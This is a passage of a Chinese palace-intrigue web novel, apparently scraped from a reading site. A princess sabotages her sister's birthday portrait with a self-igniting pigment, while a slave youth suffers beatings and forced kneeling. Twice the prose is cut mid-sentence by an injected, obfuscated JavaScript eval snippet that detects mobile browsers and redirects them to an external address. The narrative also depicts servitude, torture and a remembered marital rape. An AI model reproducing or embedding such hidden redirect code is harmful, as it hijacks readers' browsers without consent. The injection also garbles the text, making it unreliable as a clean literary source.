薛清芷声音发颤,指甲狰狞地嵌进少年红肿的脸颊里。邬琅痛苦地呜咽出声,黑眸里洇着水光,眼眶微微泛红。 “是本宫对你太好了。”薛清芷脸色缓和下来,语调却愈发冰冷,“既然这般娇气,往后,便罚你每日晨起,先顺着凝华宫里的鹅卵石路好好地走上一圈,何时身子强健了,何时再来伺候本宫。” 邬琅不可置信地睁大了眼睛。薛清芷口中的“走”自然不是寻常的走路,他早早就被剥夺了站着的权利,无论去哪儿,都只能膝行。 那条鹅卵石路凹凸不平,蜿蜒曲折,一眼望不到尽头,便是脚踩上去都觉得硌得慌,若真膝行下来,他这双膝盖怕是要彻底磨烂。 解安在一旁听的倒吸一口凉气,他何尝不知邬琅无辜,只是倒霉地被薛清芷当作了出气筒,可眼下薛清芷正在气头上,他哪敢再多话。 邬琅鸦睫颤了颤,细细的血丝顺着唇角淌下来,将他苍白的下颌染上一抹昳丽的红。他终究还是垂下眼,顺从地应下了薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754277|173712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清芷无理的要求。 “贱奴领罚。” 他要活下去。 哪怕再苦,再痛。 他这条贱命是长公主救的,长公主没有允许他死,他便不能,再动那轻生的念头。 * 辰时三刻,墨楹带着几名宫婢端着铜盆等盥洗之物鱼贯入殿,服侍薛筠意梳洗更衣。 昨夜偶然翻到一卷好书,薛筠意一时贪看,读到子时才歇,所以起得晚了些。她懒懒打了个哈欠,墨楹动作微顿,抬眸望向铜镜,笑道:“殿下困成这样,不如再睡一会儿,今日就别去凝华宫了。” 薛筠意摇头:“早些画完,早了却一桩心事。” 还有四日便是薛清芷的生辰了。那画只剩些细枝末节,稍加修饰,便可完工。只是这画若是画完了,往后她大约不会再踏入凝华宫半步。想起昨日跪在她面前惶恐谢恩的少年,薛筠意不免有些担心,也不知邬琅退烧了没有,可有听话服药。 用过早膳,薛筠意便吩咐墨楹推着她往凝华宫去。 远远瞧见青黛竟候在正门口相迎,墨楹脚步一顿,脸上神情活像是见了鬼。 青黛笑吟吟地朝薛筠意行了一礼:“长公主万安。奴婢是奉公主的意思,特意来提醒殿下一声,因这路上的鹅卵石有些旧了,所以昨日公主便叫宫匠来填了些新的,殿下可千万仔细着些,莫要摔着了。” 薛筠意低头看去,见路面上果然多出了不少青灰色的石头,本就难行的小路愈发不平,木轮碾在其上,几乎是一步一颠簸。 “多谢妹妹提醒了。”薛筠意神色如常,对墨楹道,“你小心些,莫崴了脚。” 墨楹忿忿不平地应了声是,心里早把这对主仆骂了个狗血淋头,为了让薛筠意能舒服些,她不得不竭力放缓了脚步,原本不过一刻钟的路程,眼下却显得无比漫长。 薛筠意漫不经心地望着脚下的路,忽而瞥见那青白的石面上,有两条斑驳的血印,曲曲折折,时浅时深,顺着她的目光,一路蜿蜒至薛清芷的寝殿门口。 薛筠意眉心微蹙,她想问一问青黛那些血是怎么回事,两个小太监已经轻车熟路地上前去,在石阶上铺好了结实的木板,然后恭敬地让至一旁,等着墨楹推她进去。 内殿中隐约传来薛清芷懒倦的声音。 “怎么这么笨?快点,再捡不回来,本宫可要罚你了。”她随手一抛,一颗饱满的红樱桃便轻轻地滚了出去。 纤瘦漂亮的少年跪在地上,拖着磨得溃烂的双膝,艰难地朝那颗狡黠的樱桃爬去。膝盖行过之处,薄红似朱砂印染,触目惊心。邬琅费力地伏低身体,将那颗金贵的果子小心叼在齿间,忍着难挨的痛楚,跪行回薛清芷脚边。 “真乖。”薛清芷似乎很是享受这个游戏,懒洋洋地又抛了一颗让邬琅捡,“你看,本宫待你多好啊。知道你体弱易病,特地想出这么个妙法来陪你锻炼身子。你可要好生感谢本宫才是,知道吗?” 樱桃扔得有些远,直滚到门槛边才堪堪停下。 邬琅哑着嗓应了声是,一刻不敢停歇,只当膝盖是两团腐烂的树根,以此来自欺欺人地减轻些痛苦。他汗水涔涔地朝门槛爬去,正欲低头将那颗裹满了灰尘的樱桃叼起,忽然听见轮椅吱呀的轻响。 邬琅瞬间心跳如擂鼓。 轮椅在门槛前停下,雪白的云缎映亮了他黑沉沉的眼眸。他慌张地别开眼,无措地盯着那颗近在咫尺的樱桃,心口被难堪而绝望的汹涌情绪填满,沉甸甸地,几欲窒息。 眼下已是巳时一刻,他本以为薛筠意今日不会过来了。 看看他现在的模样啊。 肮脏,卑贱,像一条被人踩在脚底肆意玩弄的狗。 他就这样出现在长公主的视线里,简直下|贱得不能再下.贱了。 邬琅不敢抬头,他害怕在那双沉静的眼眸中看见厌恶或是嫌弃的神情,哪怕只有一瞬,都令他心慌得颤抖。 长公主一定很后悔那日送药给他吧。 他这般低贱之人,怎配得上她的怜悯,她的恩赐。 薛筠意看着眼前惶恐低着头,不知在胡思乱想些什么的少年,眉心紧拧。他瞧着又消瘦了许多,细白锁骨瘦得令人心惊,脸色也不大好看。 不是叮嘱过他,服过药之后要好好歇息吗? 薛筠意叹了口气,弯下腰,在少年的唇瓣碰到那颗脏兮兮的樱桃之前,先一步将它拾了起来。 邬琅错愕一瞬,怔怔地抬起头。 红艳的果儿在雪白的帕子里滚了几圈,重又变得干净。薛筠意微微倾身,把帕子递到他眼前,轻声问:“病可好全了?” 16. 第十六章 等了许久不见邬琅回来,薛清芷不耐烦地朝内室门口瞥去一眼,却望见了一抹雪色的裙裾。前一刻她脸上还带着懒散的笑,此刻却只剩下风雨欲来般的阴沉。她将盛着红樱桃的浅碟重重搁在一旁,很不高兴地唤了声:“邬琅。” 邬琅身子一颤,不敢出声了,他难堪地垂下眼,小心叼起雪帕里裹着的樱桃,转身膝行回薛清芷面前。 少年跪过之处,似胭脂留痕。 那点薄淡的红,很快便被轮椅碾过,再看不出原本的颜色。 想起鹅卵石路上那些显眼的血迹,薛筠意眉心微蹙,心中隐约有了不好的猜测。 薛清芷漫不经心地朝邬琅伸出手,少年便低下头,顺从地将口中的樱桃放入她的掌心,听话得不得了,可薛清芷却嫌弃他动作太慢,十分不满地扇了他一耳光。 “当着本宫的面也敢偷懒磨蹭!” 邬琅屏着气不敢作声,只能死死抿着唇,于麻木的痛苦中,生出几分可悲的侥幸来。 还好。他背对着长公主,长公主应当看不到他挨打时卑微下.贱的模样。 轮椅在身后几步远处停了下来,邬琅能感觉到薛筠意离他很近,近到他能闻到她身上熟悉的草药香。 邬琅脊背颤了颤,一想到薛筠意此刻或许正注视着他,他的双颊便泛起了屈辱的红,眼里不知不觉竟含了泪。 薛清芷将要落下的手停在半空,眼里闪过一丝惊讶。即使是在床榻上被折腾狠了的时候,也鲜少见邬琅这副模样。少年眼角那颗晶莹剔透的泪,比这世上最值钱的明月珠还要漂亮,那么脆弱,那么可怜。 她饶有兴致地弯了弯唇,手上力道却又重了几分,泪珠儿颤颤地顺着少年脸上的肿痕滑落,薛清芷得了趣,也不计较邬琅没有依着规矩开口谢赏,难得大度地容忍了他的沉默。 薛筠意看不下去,重重地咳嗽了一声。 薛清芷这才意犹未尽地停了手,懒洋洋地抬起眼:“皇姐今日来迟了。” 薛筠没理会她的阴阳怪气:“答允妹妹的画,今日便可完工了。还望妹妹莫要忘了当初答应我的事。” 薛清芷笑道:“这是自然,皇姐放心就是。” 青黛走上前,引着薛筠意转过屏风。薛清芷则去里间换上了那身繁复的吉服,再由阿萧扶着,施施然在桌案前的宽椅上坐了下来。她眼下心情不错,懒倦地朝跪在床榻边的邬琅勾了勾手,破天荒地允许他起身,与阿萧一同伺候她。 “过来,给本宫捏捏肩膀。” 邬琅踉踉跄跄地走到薛清芷身后,好不容易才强撑着站稳了,学着阿萧的手法,替薛清芷揉捏起左边的肩膀。 薛筠意清晰地看见了邬琅膝上那两团红艳艳的血印,提笔蘸墨的手不由一顿。 少年显然痛得厉害,那红肿溃烂的双膝如何能支撑得住长久的站立,于他而言,或许跪着还能缓解几分疼痛,可薛清芷难得赏赐了他站着的权利,他哪敢不从呢。 她心里念着邬琅的伤,不觉分了神,笔尖淡墨滴落,恰洇在画中薛清芷的额头上。 墨楹低低惊呼一声:“殿下!” 薛筠意回过神,看见了纸上那点显眼的墨渍。她不动声色地搁下笔,另取了一方干净的墨碟,用清水将一些细细的粉末调开。朱色浓郁,金粉流光,纤细狼毫将这抹姝色覆在那丑陋的墨渍上,勾勒出一朵极美的花钿。 “好了。”薛筠意道。 立刻有宫婢上前来,将那幅画小心捧起,送到薛清芷面前。 画中的女子,神态鲜活,呼之欲出。薛清芷微眯起眼,酸溜溜地道:“皇姐真乃妙手丹青,妹妹自愧不如啊。” “妹妹谬赞了。”薛筠意语气平静,“这画既是用来恭贺妹妹得封号之喜的,便该由宫匠仔细装裱了再送与妹妹。我会在妹妹册封礼那日,当着父皇的面亲手将此画赠予妹妹,也好让父皇知道,咱们姐妹情深。妹妹以为如何?” 薛清芷不置可否:“我听皇姐的便是。皇姐替我思虑得周到,我也得拿出些诚意来才好。青黛,把东西拿给皇姐吧。” 青黛笑眯眯地上前,将手里的黑檀木匣递给薛筠意,“这是公主之前答允给您的解药,请殿下收好。” 薛筠意微讶。她倒是没想到,薛清芷会如此爽快。 薛清芷端起茶盏,慢悠悠地抿了口茶。她本也不是为着求画而来,只是想以此来戏弄薛筠意罢了。 “我答应皇姐的事,自是不会食言,但皇姐所中之毒实在稀奇,我这解药也只能解皇姐一时之渴,并不能根治其症。” 薛筠意蹙眉道:“此话何意?” “服下此药后,两个时辰内,皇姐可以行动自如,与常人无异。至于两个时辰之后……”薛清芷眨了眨眼,“皇姐还是得乖乖地坐回轮椅上。” 一旁的墨楹蓦地瞪圆了眼睛:“二公主,你、你别欺人太甚!” 薛清芷耸了耸肩,神色无辜极了:“我只答允给皇姐解药,可没说这解药能彻底医好皇姐的腿啊。皇姐,你身边这丫头也忒不懂规矩了,动不动就大呼小叫的,若不是看在皇姐的面子上,我可不会饶过这样的刁奴。” “你……”墨楹气得牙根都在颤抖。殿下日日来往凝华宫,路上已经足够辛苦,更不必说殿下在那幅画上花费了多少心思和精力,到头来,薛清芷却拿这样的东西来糊弄殿下…… 墨楹实在不甘心,可薛筠意只是轻轻拍了拍她的手背:“墨楹,噤声。” 薛清芷眼里浮现出几分兴味。这场交易从头到尾只不过是她拿来戏耍薛筠意的一场消遣而已,没想到薛筠意得知真相后竟然一点儿都不恼。 “多谢妹妹了。”薛筠意神色从容地把木匣递给墨楹,让她收好。 薛清芷挑了挑眉:“皇姐要回去了么?我让解安送一送皇姐。” “妹妹宫里的路不好走,就不必差人送了。” 轮椅自薛清芷面前行过,余光瞥见邬琅溃烂流血的双膝,薛筠意心口一阵酸涩,下意识地移开了视线,不忍多看。 薛清芷也不起身,懒散地歪在宽椅里,目送着薛筠意的身影消失在寝殿门口。没能如愿在薛筠意脸上看到愤怒的神色,她只觉又讨了个没趣儿,恹恹地撇了撇嘴,抬手示意几名面首各自退下,只留下邬琅伺候。 少年温驯地跪了下来,颈间沉重的铁链被薛清芷绕在指间漫不经心地把玩,碰撞出刺耳的声响。 她百无聊赖地牵起邬琅回到软榻边坐下,随手拈起一粒樱桃来吃,忽而想起方才在内殿门口,薛筠意似乎对邬琅说了什么,只是她离得远,不曾听得真切。还有今日晨起时,阿萧悄悄告诉过她,那日薛筠意去牵流雪,他亲眼见到,薛筠意进过邬琅所住的那间马棚。 薛清芷忽然就沉了脸,勾起小奴隶清瘦的下颌,不大高兴地问:“你病着的那几日,皇姐是不是去看过你?” “……回公主话,贱奴那时昏睡不醒,并不知晓这些。”邬琅含糊说道。 薛清芷冷哼一声,指尖慢慢下移,抚过铁锁上那个醒目的“琅”字。 “给本宫记好了,你是本宫的人,不许和皇姐说话,更不许和皇姐有任何来往。如有违背,本宫绝不会轻饶了你。” “是。”邬琅哑声。 见他一如既往的乖顺,薛清芷的心情这才好了几分,她随意将手里的樱桃抛了出去,慢条斯理地命令:“好了,继续吧。” 难得见邬琅落泪,想来是因为今日晨罚罚得有些狠了的缘故。既如此,更该下手重些,才能让他多哭几回不是。 薛清芷欣赏着少年跪行时那截轻摆的细腰,唇角轻勾,扬声吩咐青黛:“再上几碟樱桃来。” * “殿下,二公主实在是太过分了!奴婢要是您,索性就把那幅画一把火烧了,如此恶毒之人,根本就不配您为她作画!”墨楹憋了一路,一回到青梧宫,便忍不住替薛筠意抱起了不平。 “且让她得意几日罢。” 薛筠意慢悠悠地把画展平,用镇纸压住一角,对着画中花钿的颜色调了一碟朱色,细细补了几笔。 墨楹小声嘟囔:“殿下何必为她浪费这么好的颜料……” 薛筠意抬起脸,朝墨楹温柔地笑了笑:“我一早便知道她不会轻易把解药给我,是以今日之事,并不意外。几日后便是薛清芷的册封礼了,你且等着看好戏就是。” “真的?”墨楹眨了眨眼。 “不骗你。”薛筠意温声,“旁人做事我不放心,你亲自把这画送去装裱,叮嘱那些裱匠仔细些,莫要碰坏了。” “哎,奴婢这就去办。”墨楹终于露出几分笑来,小心翼翼地捧起画儿,躬身退出了殿外。 两名宫婢送了茶点瓜果进来,瓷白的浅碟里盛着新鲜的红樱桃,看着便令人唇齿生津,薛筠意拿起一颗放入口中,轻轻咬下一口,丰盈的汁水便溅了出来,将她的唇瓣染上水润的红。 她心不在焉地将果肉咽下,脑海里不由自主地浮现出邬琅膝上那两片触目惊心的血痕,比樱桃还红,比花枝还艳。 薛清芷竟然连膝行石子路这样残忍的惩罚都想得出来。 邬琅本就风寒未愈,再这么折腾一遭,身子如何能吃得消?薛筠意毫不怀疑,以薛清芷的手段,早晚有一天,邬琅会死在她手里。 她垂下眼,心神不宁地将瓷碟推到一旁,随手拿起那册重温了一半的琅州志来看。 这几日朝中的风声不小。听闻皇帝已经召集了不少心腹臣子,商议皇太女的人选。前些年,皇帝总念着贵妃还年轻,还能再为他生下一儿半女,一门心思地盼着能得个太子,可贵妃的肚子迟迟没有动静,再加之臣子们催得急,皇帝便有了些动摇。林相谏言,劝皇帝不妨以此番琅州旱灾作为考核,两位公主谁更有卓见,谁便更能担起皇太女之责,朝臣们无不赞同,可皇帝却始终未发一言。 薛筠意沉思半晌,从书页夹缝里取出那份琅州舆图,对着其上密密麻麻的标注,提起笔来。 自南疆开国以来,琅州一直灾情不断,这些日子薛筠意零零碎碎想了很多,心里大概有了对策,只是她毕竟从未去过琅州,所知所见,皆来源于书册记载,所以并没有十足的把握。 无论如何,总要试一试才知对错。 她不想,也绝不会—— 输给薛清芷。 * 薛清芷的册封礼办得极为隆重。除了礼部备下的珠冠,皇帝还另赏了不少好东西,玛瑙翡翠,金钗步摇,满满当当地装了十口箱子,足以见得这位尊贵的安阳公主有多得皇帝宠爱。 册封礼毕,众人便随皇帝和贵妃移步至凝华宫中的清荷苑,参加安阳公主的生辰宴。 朝臣们陆续送上贺礼,其中不乏想巴结薛清芷之人,端着谄媚的笑脸,不停地说着各种阿谀奉承的好话。 薛筠意坐在薛清芷身旁,安静地品着杯中的梅子酒。几巡酒过,周围终于安静下来,她这时才放下酒盏,从墨楹手中接过装着画轴的长匣,递到薛清芷面前。 “这是之前答允妹妹的生辰礼,妹妹收下罢。” 有眼尖的人瞧见了,立刻高声奉承起来:“哎呀,听闻长公主从不轻易为人作画,今日竟主动赠画于二公主,可见两位公主,当真是姐妹情深。” 一位胡须花白的老臣颤巍巍地站起身:“时常听冯老夸赞长公主画技精湛,一直无缘得见,不知今日能否有幸,与二公主共赏此画?” “是啊,当年长公主所作的雁归图,民间虽有不少仿作,但到底比不得真迹。臣等实在想看一看,长公主所作之画,是否真如传言那般精妙绝伦。” 薛清芷听着那些溢美之词,不大高兴地皱起了眉:“不过一幅画而已,又不是什么稀罕东西,诸位想看,本宫打开便是。” 两名宫婢依言走上前,小心地展开长匣中的画轴,举于众人眼前。 周遭霎时寂静。好半晌,众人才于初见此画的震撼中回过神来,一时竟想不到词句来赞美。清风拂过画上笔墨,画中的安阳公主便仿佛要从纸上走下来一般,当真是栩栩如生。 皇帝看在眼中,沉吟不语。有时候他的确无法否认,林相所言不错,薛筠意样样都胜出薛清芷许多,是眼下最合适的皇太女人选。 可他不想让那个女人的孩子继承他的帝业。 这皇帝的位子,是姜家捧给他的,若真让薛筠意做了皇太女,这南疆的江山,只怕早晚有一天要姓了姜。 他知道姜皇后一直都看不起他,在她眼中,他是最窝囊、最无用的皇子。他也知道那时她属意于太子,太子英勇善战,又聪慧过人,可惜天妒英才,年纪轻轻便战死在了沙场。 那个叫姜元若的女人,是不得已才做了他的皇后,成婚十余载,她从未对他露过半分笑脸,她厌恶他的平庸,嫌弃他的无能,甚至不愿与他同房,是他强.绑了她,在她一声声的唾骂中,闯入了她的身体。 她打他,咬他,像头凶悍的小豹子,他从未在一个姑娘身上见过那么大的力气,她脸上泪水涟涟,颤声说着他不想听的话,她说若没有姜家,他什么都不是,他根本就不配做她姜元若的夫君。那时他听得心烦,只能用唇去堵住那张胡言乱语的嘴,却被咬了满口的鲜血。 他怒气冲冲地拂袖而去,可她终归是他的皇后,只要她朝他笑一笑,服个软,他自会将他所拥有的一切都捧给她,可是她不肯,一直到死,姜元若都不曾向他低头。 想到此处,皇帝眸色沉了沉,指腹摩挲过虎口处一道丑陋的牙印。那是新婚夜时姜元若咬的,这么些年过去,始终未能消褪。 他盯着眼前画中人的脸,那是他最疼爱的小女儿的脸,细看时,隐约有几分江贵妃的模样。这让皇帝的脸色勉强缓和了几分。 可下一刻,那张脸突然着起火来,火苗舔过画纸,在日光下不知疲倦地燃烧。不过眨眼的功夫,画中娇俏的安阳公主已经烧成了一地颓败的灰烬。 众人大惊失色,李福忠尖声喊着救驾,御林军匆忙上前,将皇帝和贵妃护在身后。唯有薛筠意神色平静,又斟了一盅梅子酒来喝。 片刻寂静后,不知是谁扑通一声跪了下来,惶恐地对皇帝禀道:“陛下,长公主笔下有灵,此画无端起火,许是天意啊!” 皇帝沉了声:“爱卿倒是说说,天意欲让朕何为?” 席间瞬时一片死寂。半晌,还是林相肃声道:“陛下不顾规矩礼制,执意要先赐二公主封号,实在太过偏颇。上天烧毁此画,便是在警示陛下,不可因私心而做出违背宗律之事。” “林相所言极是。” “二公主年纪尚小,封号一事本也不急。” “大约是礼部拟的封号不好,陛下何不让礼部重新拟来,仔细选个好的?” 有了林相做出头鸟,臣子们这才胆子大了些,纷纷进言劝谏。 皇帝的脸色阴沉得可怕。这“安阳”的封号是他亲自拟的,寓意平安喜乐,愿他的清芷,如朝阳般美好绚烂,怎能因为一幅画就随意收回? 可皇帝不免也存了几分疑心,冯宪之常说薛筠意画中万物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770570|173712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皆有灵,他又是深信鬼神之人,不得不将此事放在心上。 良久,皇帝终是沉着嗓开口道:“既如此,朕便将‘安阳’的封号暂且收回,交由礼部重新拟定。再去请几位道士择个册封的吉期。” “父皇!”薛清芷哪里情愿,委屈地红了眼睛。 “清芷听话,这封号不好,咱们不用了,等父皇再想一个好的。” 朝臣们连忙附和着,道皇帝英明,李福忠领着两个小太监迅速将地上那堆晦气的东西收拾干净,身姿窈窕的舞女拂动水袖款款行过,席间重又热闹起来,众人都心照不宣地没有再提起方才之事,专心欣赏起眼前的歌舞。 薛清芷气得眼泪直打转,她好不容易才从父皇那儿求来了封号,好不容易能堂而皇之地压过薛筠意一头了,如今却因为一幅破画,就被轻描淡写地收回了这份尊荣,让她如何能咽下这口气? 她恨恨攥紧了拳头,忽然想到了什么,猛地转过脸瞪向薛筠意。 “是你……是你在画上做了手脚!” “妹妹若没有证据,可莫要血口喷人。”薛筠意抿了口酒,声音淡淡。 薛清芷登时一噎,那幅画早就烧成了一把灰,哪里还有什么证据?她此时才明白过来,当初她要薛筠意为她作画,薛筠意为何答应得那样痛快,原是一早便想好了,要拿这画来算计她呢! 薛清芷眼底猩红,只恨不能冲上去,将薛筠意那张平静的脸撕个粉碎。 薛筠意擦了擦唇角的酒渍,只当没看见她眼中汹涌的恨意,侧首对墨楹道:“我累了,扶我回宫歇息吧。” “是。” 薛清芷目眦欲裂,正要出声喊住薛筠意,皇帝已温声开口:“你皇姐身子不好,留在这儿只会扫了你的兴致,让她回去便是。来,陪父皇饮了此杯,今日是你生辰,父皇高兴,定要不醉不归。” 宫婢添上新酒,薛清芷只好咽下满腹的不甘,强撑出几分笑脸来,朝皇帝举起酒盅。 此时,清荷苑后。 墨楹推着薛筠意,走在一条僻静幽深的小路上。沿此路去往宫门,虽有些绕远,但胜在路面平坦,比起那些凹凸不平的鹅卵石路要舒服许多。 歌舞声渐渐远去,四周清净下来,只余风声鸟鸣。薛筠意难得放松,闭上眼,缓和着微醺的酒意。 “殿下,可真是奇了!那画竟然自个儿烧了起来!”墨楹啧啧称奇,碍着还未走出凝华宫,她并不敢过分张扬,只在心里舒舒服服地痛快了一把,“陛下亲自下旨,收回了二公主的封号,奴婢倒要看看,往后她还怎么得意!” 薛筠意笑笑,继续闭目养神。 从她答允为薛清芷作画开始,便没打算让薛清芷得了便宜。一切的关键,便在于她最后添上的,那朵用昙朱描绘而成的花钿。 昙朱美艳,采自清州岫林深处,乃极难得的珍贵颜料,只可惜世间好物,大多昙花一现,此色若放于日光下观赏,美则美矣,但不到一刻钟的功夫,便会自行焚烧,一丝痕迹都不会留下。 而皇帝向来最信鬼神,如此不祥之兆,他定然不会坐视不理。 此计能成,她还真要感谢皇帝。自姜皇后去世,皇帝夜夜梦魇缠身,时常满头大汗地从梦中惊醒,嚷嚷着说有鬼魂索命。为此,皇帝请了不少僧人布阵驱鬼,甚至还在寝殿中供奉了佛像。如若不是心中有鬼,又怎会信这些虚无缥缈的东西? 墨楹忽然“呀”了声,轮椅也随之重重一顿。薛筠意回过神,下意识地抓紧了扶手,蹙眉问道:“怎么了?” 墨楹蹲下身仔细查看了一番,忍不住嘟囔道:“回殿下,是右边的木轮坏了。平时都好好的,怎么偏偏挑着今日出岔子。” 她抹了把额上的汗,一时有些犹豫:“库房里还有一把新做的轮椅,奴婢这就去寻几个宫人来,让他们回青梧宫去取。只是……留殿下一人在这儿,奴婢有些不放心。” 薛筠意道:“无妨,你去便是。” 此处离清荷苑不远,若真有什么事,她只消喊一嗓子,便能惊动那些随行护卫圣驾的御林军。 墨楹想了想,她腿脚快,办这桩差事应当费不了多少功夫,“那殿下先坐着歇一歇,奴婢很快就回来。” “嗯。” 静坐无事,酒意很快涌了上来,令薛筠意昏昏欲睡。偏这时竟下起了雨,冷风卷着银竹似的雨丝,凉飕飕地拂在脸上。 薛筠意皱起眉,仰头望着压满乌云的天幕,心想,今日可真是个吉利的好日子。 雨越下越大。 皇帝喝酒正喝到兴头上,即使下了雨,也不肯轻易散了宴席。几名宫婢慌慌张张地跑回小厨房,将手中淋了雨的菜肴倒进泔水桶,忙不迭地吩咐厨娘再做一份新的。 邬琅蹲在小门旁的角落里,盯着地上的半个脏馒头,慢慢地舔了下唇。那馒头是今早小厨房剩下的,厨娘掰了半个去喂狗,可那狗却嫌弃白馒头没有肉包子香,嗅了几下便走开了。 他实在是饿极了。少年人正是长身体的时候,每日一碗清粥怎么可能填饱肚子,可没有薛清芷的允许,他不敢偷吃任何食物,哪怕是旁人丢在地上的、不要的东西。 邬琅饿得眼前发昏,他瞥了眼身后,小厨房里,宫婢们来回忙碌奔走,急着将热腾腾的佳肴送到宴席上去,无人注意他,也无暇管他。他喉间吞咽了下,终是抵挡不住腹中的饥饿,迅速抓起那块馒头,囫囵往嘴里送。 狼吞虎咽地吃完,邬琅摸着仍旧空瘪的小腹,抿起唇,望向了一旁的泔水桶。抬眸时,却忽然瞥见不远处的树荫下,有一道熟悉的人影。 ——是长公主。 她独自一人坐在雨中,身边的宫婢不知跑去了哪儿,竟然撇下她不管不顾。 邬琅沉默一瞬,几乎是不假思索地起身跑进了雨中,前头有一座荒废许久的佛堂,他曾在那里受过罚,那里有几把旧伞,他记得的。 他满脑子都是不能让薛筠意淋雨受凉,可当他撑着伞朝薛筠意跑去时,却又踌躇地停下了脚步。低头看了眼身上破烂不堪的衣裳,邬琅心里便有了几分怯,他这样的人,怎配出现在长公主面前? 可薛筠意似乎已经看见了他,甚至远远地,在朦胧潮湿的雨雾中,对他温柔地笑了下。 邬琅只得鼓起勇气,快步走到薛筠意面前,将伞递了过去。 “贱奴见过长公主。” 薛筠意接过了他手中的伞。邬琅立刻跪了下来,低垂着头,任由冰凉的雨水顺着伞面浇下,砸在他清瘦的脊背上。 伞有些旧了,甚至破了个不小的洞,只能勉强起到几分遮蔽的作用。 薛筠意看了眼脚边温顺跪着的少年,轻轻叹了口气。他总是这副谨小慎微的模样,好像生怕做错了事似的。她不想再像上次那样吓着了他,于是先轻轻咳嗽了一声,才柔声问:“这附近可有地方避雨?” “回殿下话,那边有一处佛堂,可作避雨之用。” 邬琅猜测着薛筠意的轮椅大约是坏了,否则也不会待在这儿淋雨,于是便小声道:“殿下若不嫌弃,贱奴可以背您过去。” 话一出口,邬琅立刻后悔了。他这副肮脏的身子,怎可触碰长公主,还是寻个宫人过来帮忙为好…… 正胡思乱想着,潮湿的草药香气突然毫无预兆地靠近,邬琅心跳蓦地加快,一声一声,甚至压过了清脆的雨声。 他无措地抬起眼,乌眸中颤颤地映着薛筠意白皙素净的面庞。她倾身过来,将手中旧伞撑在他头顶,温声应下了他逾矩的请求。 “好。” 17. 第十七章 她的声音温温柔柔,像一场不真实的梦,邬琅愣了一瞬才回过神来,慌忙背过身去,小声道:“您、您可以上来了。” 薛筠意看着少年过分单薄的脊背,还有衣衫下隐约透出的伤痕,眉心轻蹙。她先拢了伞,然后才试探着,将手腕搭上邬琅的肩头。 “背得动本宫吗?” 邬琅的心脏几乎要跳出嗓子眼。她的手沾了些潮湿的雨,凉冰冰地覆下来,他的肩膀却可耻地炙热滚烫。只消一低头,就能看到她纤白如葱根的玉指,他好想偏过脸去,像上次那样被她温柔地抚摸,可是他不能,也不敢,更不配。 邬琅喉间滚动,规规矩矩地将视线收回,哑声道:“贱奴背得动的。” 薛筠意便将另一只手也搭了上来。她双腿无法使力,只能将上半身的重心尽数往邬琅身上压去,少年身子颤了下,很快便重新跪好,小心翼翼地托住她的膝弯,稳稳地将她背了起来。 她很轻,像一只轻盈的蝴蝶,误入雨林,只能暂时停栖在他满是脏污的身上。 邬琅能感觉到她丰盈的雪峦此刻正紧贴着他伤痕遍布的脊背,那异样的柔软令他浑身紧绷,却无处可逃。 邬琅想,他该开口请罚的,即使是不得已之举,也是他冒犯了长公主。但眼下的状况显然不允许他张口说话—— 磨烂了的膝盖,每一步都是刺入骨髓的剧痛,邬琅死死咬着唇才没闷哼出声,可那额角的薄汗,泛红的眼尾,无一不在昭示着,这具身体的主人正在忍受着怎样的痛苦。 他深深缓了口气,努力做出轻松的样子,迈开步子朝佛堂的方向走去。 绝不可以让长公主摔伤。 怀揣着这个念头,邬琅每一步都走得十分辛苦,薛筠意很快便敏锐地察觉到,他的腿似乎有伤,走起路来有些跛。 她不由问道:“你的腿怎么了?” “回殿下,贱奴的腿曾经被打断过一回,一直未能好全。”邬琅顿了顿,有些紧张,“您是不是不舒服了?对不起,是贱奴没用……” 其实他的腿本可以养好的,只是薛清芷不肯叫人给他医治罢了。她说他只配跪着伺候她,没资格站着,自然也不必费心把那条断腿治好了。从那之后,他的腿便落了病根,每到深夜便痛得厉害,时常疼得辗转难眠,只能睁着眼睛熬到天亮。 邬琅抿紧了唇,拼命控制着那条疼痛难忍的伤腿,不想再让薛筠意感觉到一丁点不舒服的颠簸。 薛筠意皱了皱眉,她不明白邬琅怎么可以用如此平静的语气将那样残忍的事说出口,向她道歉时,却又那般卑微谨慎,小心翼翼。 他分明什么都没有做错,不是吗? 佛堂里弥散着潮湿的香灰味道。邬琅在角落里寻了张椅子,缓慢地蹲下身,用衣袖将上头的灰尘仔细擦拭干净,才转过身来,将薛筠意轻轻放下。他顺势屈膝跪地,以一种他无比习惯的姿态,低头跪候在一旁,等着薛筠意的吩咐。 雨声潺潺,不知何时才能停歇。这间古旧的佛堂,仿佛一处无人打扰的隐秘之地,静悄悄的,只能听见他们二人的呼吸。 最后还是薛筠意率先打破了这份寂静。 “多谢你。若不是你恰巧路过,本宫这会儿还在雨里淋着。” 邬琅慌忙道:“这是贱奴应该做的。” 他说话时,湿淋淋的水珠顺着俊秀高挺的鼻梁淌下,落在那两瓣苍白的薄唇之间,像一粒诱人的蛊。 薛筠意忍不住从怀里取出帕子,轻轻地按了上去。少年慌张地抬起头,露出一张湿漉漉的脸,她便温柔地将他脸上的雨水擦拭干净,右边,左边,再往下—— “殿下,殿下?您在里面吗?”佛堂外远远传来墨楹焦急的声音。 